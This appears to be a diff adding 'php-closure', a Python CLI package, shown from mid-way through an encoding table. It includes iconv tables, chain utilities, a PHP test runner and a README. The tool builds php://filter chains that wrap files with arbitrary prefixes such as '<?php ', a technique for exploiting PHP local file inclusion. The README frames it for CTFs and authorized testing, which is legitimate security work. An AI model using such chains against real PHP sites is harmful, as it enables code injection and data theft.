+    "y": FilterPart(["convert.iconv.851.UTF-16", "convert.iconv.L1.T.618BIT"]),
+    "Z": FilterPart(
+        [
+            "convert.iconv.SE2.UTF-16",
+            "convert.iconv.CSIBM1161.IBM-932",
+            "convert.iconv.BIG5HKSCS.UTF16",
+        ]
+    ),
+    "z": FilterPart(["convert.iconv.865.UTF16", "convert.iconv.CP901.ISO6937"]),
+    "/": FilterPart(
+        [
+            "convert.iconv.IBM869.UTF16",
+            "convert.iconv.L3.CSISO90",
+            "convert.iconv.UCS2.UTF-8",
+            "convert.iconv.CSISOLATIN6.UCS-4",
+        ]
+    ),
+    "+": FilterPart(
+        [
+            "convert.iconv.UTF8.UTF16",
+            "convert.iconv.WINDOWS-1258.UTF32LE",
+            "convert.iconv.ISIRI3342.ISO-IR-157",
+        ]
+    ),
+}

closure/testing/run_php_filter.py

@@ -0,0 +1,33 @@
+import subprocess
+
+from ..classes.filter_part import FilterPart
+
+
+class PHPFilterError(RuntimeError):
+    pass
+
+
+def run_php_filter(chain: str) -> bytes:
+    if isinstance(chain, FilterPart):
+        chain = str(chain)
+
+    php_code = f'<?php echo file_get_contents("{chain}");'
+
+    result = subprocess.run(
+        ["php"],
+        input=php_code.encode("utf-8"),
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+    )
+
+    if result.returncode != 0:
+        raise PHPFilterError(
+            result.stderr.decode("utf-8", errors="replace").strip()
+        )
+
+    stderr_text = result.stderr.decode("utf-8", errors="replace").strip()
+
+    if stderr_text:
+        raise PHPFilterError(stderr_text)
+
+    return result.stdout

closure/utils/chain_functions.py

@@ -0,0 +1,25 @@
+from ..constants.operations import ROT13, B64D, B64E
+from ..classes.filter_part import FilterPart
+
+
+def rot13_wrap(chain: FilterPart):
+    return ROT13 / chain / ROT13
+
+
+def b64_wrap(chain: FilterPart):
+    return B64E / chain / B64D
+
+
+def iconv_multi_wrap(chain, *enc_pairs):
+    out_chain = FilterPart([])
+    for enc_pair in reversed(enc_pairs):
+        src_enc, dst_enc = enc_pair
+        out_chain = out_chain / f"convert.iconv.{dst_enc}.{src_enc}"
+
+    out_chain = out_chain / chain
+
+    for enc_pair in enc_pairs:
+        src_enc, dst_enc = enc_pair
+        out_chain = out_chain / f"convert.iconv.{src_enc}.{dst_enc}"
+
+    return out_chain

closure/utils/string_functions.py

@@ -0,0 +1,23 @@
+import base64
+
+
+def right_pad(s: str, multiple: int, char: str) -> str:
+    return s.ljust(len(s) + (-len(s) % multiple), char)
+
+def left_pad(s: str, multiple: int, char: str) -> str:
+    return s.rjust(len(s) + (-len(s) % multiple), char)
+
+def mult_3(s: str|bytes) -> bytes:
+    if isinstance(s, str):
+        s = s.encode()
+    return s.decode('utf-16').encode('utf-8')
+
+def prepare_injection_data(s: str) -> str:
+    if len(s) % 4 != 0:
+        raise RuntimeError("Something went wrong!")
+
+    s = mult_3(s)
+    s = mult_3(s)
+    s = base64.b64encode(s).decode()
+
+    return s.replace("=", "")

php_closure-1.0.0.dist-info/METADATA

@@ -0,0 +1,91 @@
+Metadata-Version: 2.4
+Name: php-closure
+Version: 1.0.0
+Summary: Wrap file contents with PHP filter chains
+Author: Eilon Avizemer
+License: MIT License
+        
+        Copyright (c) 2026 Eilon Avizemer
+        
+        Permission is hereby granted, free of charge, to any person obtaining a copy
+        of this software and associated documentation files (the "Software"), to deal
+        in the Software without restriction, including without limitation the rights
+        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+        copies of the Software, and to permit persons to whom the Software is
+        furnished to do so, subject to the following conditions:
+        
+        The above copyright notice and this permission notice shall be included in all
+        copies or substantial portions of the Software.
+        
+        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+        SOFTWARE.
+        
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# php-closure
+
+**php-closure** (the `closure` command) is a CLI tool, written in Python, that generates [PHP filter chains](https://www.php.net/manual/en/filters.php) for wrapping any file with an arbitrary prefix and suffix. A chain is a long `php://filter/...` string. When PHP reads it, the result is the file's contents with your prefix and suffix around them.
+
+It is meant for CTF challenges and for testing PHP local file inclusion (LFI) bugs on systems you are authorized to test.
+
+# Installation
+
+Install **closure** directly from GitHub using `pip`:
+
+```bash
+pip install git+https://github.com/eilon-avi/php-closure.git
+```
+
+Alternatively, clone the repository and install it locally:
+
+```bash
+git clone https://github.com/eilon-avi/php-closure.git
+cd php-closure
+pip install .
+```
+
+Requires Python 3.8 or newer. PHP is optional and is only needed for `--test`.
+
+# Usage
+
+After installation, the CLI is available from your terminal:
+
+```bash
+closure --help
+```
+
+![Output of closure --help](https://github.com/user-attachments/assets/e96a193f-4bda-43bb-8e94-afccd2e81bd6)
+
+Use the available options to create your php filter chain:
+
+![Example run with a JSON prefix and suffix, writing the chain to chain.txt](https://github.com/user-attachments/assets/60924d67-5ea4-454b-8b75-5e8c93f10424)
+
+## Example
+
+Wrap `data.txt` in a PHP opening tag and closing tag, and write the chain to `chain.txt`:
+
+```bash
+closure -p "<?php " -s "?>" -o chain.txt data.txt
+```
+
+Output:
+
+```
+Chain written to: chain.txt
+
+Resulting chain size: 13004
+```
+
+Chains are long, so write them to a file with `-o`. Without `-o`, closure prints the chain to stdout. Add `-t` to run the chain with your local PHP install and print the result (requires PHP to be installed).
+
+# Documentation & Research
+
+All of the technical details about how this tool works are summarized in [this](https://eilon-avi.github.io/projects/closure/) blog post.

php_closure-1.0.0.dist-info/RECORD

@@ -0,0 +1,22 @@
+__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+closure/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+closure/cli.py,sha256=rlBCjqnGHjj47SEWCdd-KGRF5_f02FPc2hbLbbqj9mU,2670
+closure/classes/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+closure/classes/appender.py,sha256=G91abL5nABaxYfiFHkHD2gTuSnd90migFeQAjVSU3po,438
+closure/classes/chain_builder.py,sha256=TX41Qlg_kl4Mfy45PRfKpbfrihXG-VX5p2MhVEVeM9g,5893
+closure/classes/filter_part.py,sha256=KovU_62doB6EIrDOZ8CaPHIROLfi-gsgGGyAkq4cki4,1736
+closure/constants/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+closure/constants/appenders.py,sha256=cxSW4zNVYpGGY2gUUM8HIycVSKguJmMzx7VXyp7VyWs,7347
+closure/constants/operations.py,sha256=NLg60YkOtLjtriP7-RbZa1umPeIeHglnE0PLtlWVp9w,485
+closure/constants/prependers.py,sha256=RZFUPI9Ys2lZRocLKRVrbq11HJquNTWUkNPjR5g1T30,10794
+closure/testing/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+closure/testing/run_php_filter.py,sha256=Q-dvJ75bI-Cfr7sQgj0BfAMomFMvU7l9zUhD_n7TRuY,771
+closure/utils/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+closure/utils/chain_functions.py,sha256=TS5jqOUuVcWurxIIX5XUT_Ojk56Oi6UKl5KMJna7EKg,673
+closure/utils/string_functions.py,sha256=Z0b66ebPg49LmJ0UOyNN9R0YmYl7ejtvmTn7C4O3DBo,620
+php_closure-1.0.0.dist-info/licenses/LICENSE,sha256=3AseLPufnSRXZ0HhoNo1FsZBk_8Jca8lbT__IZQOglY,1092
+php_closure-1.0.0.dist-info/METADATA,sha256=IY2bqlIqaYinWDYZZj9Sd4rLhW77TBAqO0G5gG1Kh_o,3494
+php_closure-1.0.0.dist-info/WHEEL,sha256=mOdXR9C3wMVov7cSY8PY-XCzo3SmmWCHvGQr5csJoao,91
+php_closure-1.0.0.dist-info/entry_points.txt,sha256=bafGWW-cYnHLCFz7ihLJ6PxN5eeUe6gLA4ipnE-I9H4,45
+php_closure-1.0.0.dist-info/top_level.txt,sha256=7PfJk7w9_EHOfNuyFpBJnGbaZzAYtjA7p_AzCl3bkPE,17
+php_closure-1.0.0.dist-info/RECORD,,

php_closure-1.0.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (84.2.1)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

php_closure-1.0.0.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+closure = closure.cli:main

php_closure-1.0.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Eilon Avizemer
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

php_closure-1.0.0.dist-info/top_level.txt

@@ -0,0 +1,2 @@
+__init__
+closure